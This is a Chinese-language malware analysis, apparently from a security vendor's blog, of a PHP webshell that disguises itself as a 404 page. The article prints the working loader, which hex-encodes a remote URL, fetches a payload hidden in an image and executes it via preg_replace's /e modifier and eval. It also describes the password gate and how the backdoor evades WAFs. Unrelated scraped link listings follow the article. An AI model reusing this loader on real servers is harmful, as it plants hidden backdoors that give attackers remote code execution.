PHP后门新玩法:一款猥琐的PHP后门分析
0x00 背景
近日,360网站卫士安全团队近期捕获一个基于PHP实现的webshell样本,其巧妙的代码动态生成方式,猥琐的自身页面伪装手法,让我们在分析这个样本的过程中感受到相当多的乐趣。接下来就让我们一同共赏这个奇葩的Webshell吧。
0x01 细节
Webshell代码如下:
<?php
error_reporting(0);
session_start();
header("Content-type:text/html;charset=utf-8");if(empty($_SESSION['api']))
$_SESSION['api']=substr(file_get_contents(
sprintf('%s?%s',pack("H*",
'687474703a2f2f377368656c6c2e676f6f676c65636f64652e636f6d2f73766e2f6d616b652e6a7067′),uniqid())),3649);
@preg_replace("~(.*)~ies",gzuncompress($_SESSION['api']),null);
?>
关键看下面这句代码,
sprintf('%s?%s',pack("H*",'687474703a2f2f377368656c6c2e676f6f676c65636f64652e636f6d2f73766e2f6d616b652e6a7067′),uniqid())
这里执行之后其实是一张图片,解密出来的图片地址如下:
http://7shell.googlecode.com/svn/make.jpg?53280b00f1e85
然后调用file_get_contents函数读取图片为字符串,然后substr取3649字节之后的内容,再调用gzuncompress解压,得到真正的代码。最后调用preg_replace的修饰符e来执行恶意代码的。这里执行以下语句来还原出恶意样本代码,
<?php
echo gzuncompress(substr(file_get_contents(sprintf('%s?%s',pack("H*",
'687474703a2f2f377368656c6c2e676f6f676c65636f64652e636f6d2f73766e2f6d616b652e6a7067′),uniqid())),3649));
?>
如图所示:
分析这段代码,发现这是一个伪装的404木马(这里实在是太猥琐了…把页面标题改成404 Not Found),其实整个webshell就一个class外加三个function,如下图:
首先我先看一下它的前端html代码,其中有这么一段js程序
document.onkeydown = function(e) {
var theEvent = window.event || e;
var code = theEvent.keyCode || theEvent.which;
if (80 == code) {
$("login").style.display = "block"
}
}
这里它用document.onkeydown获取用户敲击键盘事件,当code等于80的时候显示login这个div,这里查询了一下keyCode的对照表,查到80对应p和P键
所以触发webshell登陆需要按p键(不按P键页面就是一个空白页,看不到登陆框),如图所示:

再回到服务端php代码中,可以看到程序用的是对称加密,并且将登陆密码作为加密key,代码如图所示:

再看init()的逻辑

如图所示,先看这句代码
$true = @gzuncompress(gzuncompress(Crypt::decrypt(pack('H*', '789c63ac0bbec7b494f12cdb02f6dfac3f833731cf093e163a892990793ebf0a9f1c6b18bb68983b3b47a022002a840c59′), $_POST['key'], true)));
根据这个解密逻辑我们可以推出,这里其实是将字符串true做了以下加密处理,
unpack('H*',Crypt::encrypt(gzcompress(gzcompress('true')), $_POST['key'] , true))
所以当输入正确密码的时候@gzuncompress返回字符串true,然后程序调用setcookie给客户端返回$_COOKIE['key'],然后值得提一下的是后面这个exit('{"status":"on"}'),这里它与前端代码联系很紧密,我们看前端有个callback函数,如下
function callback() {
var json = eval("(" + this.responseText + ")");
if (json.status=='on'){
window.location.reload();
return;
}
if (json.notice) {
$("notice").style.display = "block";
$("notice").innerHTML = json.notice;
sideOut();
}
}
这里执行exit('{"status":"on"}')会返回json串{"status":"on"},此时前端js代码classback()获取到此响应会执行window.location.reload()刷新,再次请求正好带上前面获取的cookie,然后执行判断COOKIE的逻辑,如图所示:
这里跟前面POST的逻辑一样,下面当判断为'true'以后,这里又请求了一张图片,pack出来地址为http://2012heike.googlecode.com/svn/trunk/code.jpg,然后调用_REQUEST获取图片内容,解密解压之后再eval,分析之后发现code.jpg中才是真正的webshell经过加密压缩之后的内容。这里我跟踪了一下代码打印出了真正执行的webshell的内容:

登陆成功之后的webshell如下图:

0x02 总结
这是一个高度隐蔽的webshell,它没有在其代码中用到一些危险函数和敏感字,而是将真正的shell内容经过层层加密处理之后保存到图片当 中,丢到服务器上只留下一个url,并且url还是经过加密处理的,所以对外看没有任何特征可寻,过掉了大多数waf以及杀软的查杀。。作者的利用思路新 颖,并且前端后端结合紧密,代码精简,各种奇技淫巧,有别于常见的webshell后门,令人佩服!
from:http://blog.wangzhan.360.cn/?p=65
PHP后门新玩法:一款猥琐的PHP后门分析的更多相关文章
- 自定义 checkbox 新玩法 ?
自定义 checkbox 新玩法 ? 第一步:selector 编写 drawable/selector_checkbox_voice.xml <?xml version="1.0&q ...
- 【转帖】Moodle平台的5个新玩法
[玩坏Moodle平台]Moodle平台的5个新玩法 1.RSS订阅 Moodle平台可以导入外部博客(或其他提供RSS的服务),并显示在Moodle内置的博客系统中.无论是自己的个人网站还是他人的博 ...
- Odoo 库存管理-库存移动(Stock Move)新玩法
库存移动(Stock Move)新玩法 Odoo的库存移动不仅仅是存货在两个“存货地点”之间的移动的基本概念了,他们可以被“串联”在一起,可以用来生成或改变其对应的拣货单 (Picking).链式库存 ...
- MySQL高可用新玩法之MGR+Consul
前面的文章有提到过利用consul+mha实现mysql的高可用,以及利用consul+sentinel实现redis的高可用,具体的请查看:http://www.cnblogs.com/gomysq ...
- 摹客iDoc「标注」新玩法!这些细节让你爱不释手(201903-2版本更新)
哈喽小伙伴们,我们又见面啦!没错,小摹就是来告诉大家:摹客iDoc又双叒叕升级了!这次又上线了许多新玩法,在此之前,小摹先带大家温习一下iDoc以往的知识点: 攻城狮查看标注的利器 —— 标注信息智能 ...
- Chrome 控制台新玩法-向输出到console的文字加样式
Chrome 控制台新玩法-向输出到console的文字加样式 有兴趣的同学可以文章最后的代码复制贴到控制台玩玩. Go for Code 在正常模式下,一般只能向console 控制台输出简单的文字 ...
- Github 新玩法 -- Profile ReadMe
Github 新玩法 -- Profile ReadMe Intro 今天刷 Github 的时候偶然发现一个新的玩法,Github Profile ReadMe,可以在个人的 Profile 页面展 ...
- WEB安全新玩法 [1] 业务安全动态加固平台
近年来,信息安全体系建设趋于完善,以注入攻击.跨站攻击等为代表的传统 Web 应用层攻击很大程度上得到了缓解.但是,Web 应用的业务功能日益丰富.在线交易活动愈加频繁,新的安全问题也随之呈现:基于 ...
- 老司机带你体验SYS库多种新玩法
导读 如何更加愉快地利用sys库做一些监控? 快来,跟上老司机,体验sys库的多种新玩法~ MySQL5.7的新特性中,非常突出的特性之一就是sys库,不仅可以通过sys库完成MySQL信息的收集,还 ...
随机推荐
- 数字信号处理实验(零)—— 一维声音信号处理和二维图像处理
一.在matlab下声音信号的I/O 1.读wav文件函数 •y = wavread('filename') •[y,Fs,bits] = wavread('filename') •[...] = w ...
- Hibernate一对一映射关联
Hibernate提供了两种一对一映射关联关系的方式: 1)按照外键映射 2)按照主键映射 下面以员工账号表和员工档案表(员工账号和档案表之间是一对一的关系)为例,介绍这两种映射关系,并使用这两种 映 ...
- Linux内核学习之道
来自:http://blog.chinaunix.net/uid-26258259-id-3783679.html 内核文档 内核代码中包含有大量的文档,这些文档对于学习理解内核有着不可估量的价值,记 ...
- 笑谈Android图表-MPAndroidChart
MPAndroidChart是一款基于Android的开源图表库,MPAndroidChart不仅可以在Android设备上绘制各种统计图表,而且可以对图表进行拖动和缩放操作,应用起来非常灵活.MPA ...
- LoadRunner录制图片验证码
LoadRunner录制图片验证码 LoadRunner自身是无法捕获到图片验证码的,但是我们可以帮助LoadRunner来实现验证码的捕获. 1.图片验证码 图片验证码的产生来自服务器端,由服务器生 ...
- AndroidTips:selector的disable状态为什么无效?
正确的姿势: <?xml version="1.0" encoding="utf-8"?> <selector xmlns:android=& ...
- Android拓展系列(10)--使用Android Studio阅读整个Android源码
之前一直在windows下用source insight阅读android源码,效果非常好.后来远程异地服务器,网络限制,一直用ssh + vim,现在主要还是以这种方式.最近发现一个不错的东西(早就 ...
- Android和SQLite版本对应关系
Android和SQLite版本对应关系 今天Xamarin群有人问到Android和SQLite版本如何对应,顺手查了一下,贴出来. SQLite 3.8.4.3: • 21-5.0-Lollipo ...
- 反射和动态代理实现上下文切入AOP效果
Java的反射框架提供了动态代理机制,允许在运行期对目标类生成代理,避免重复开发,实现上下文切入的功能. 代码是最好的交流语言: Subject接口 RealSubject实现接口 SubjectHa ...
- EF框架step by step(4)—DBcontext应用于已存在数据库
EF4.1有三种方式来进行数据操作及持久化.分别是Database-First,Model-First,Code-first,前面都已经简单介绍过了.下面简单小结一下:1.Database First ...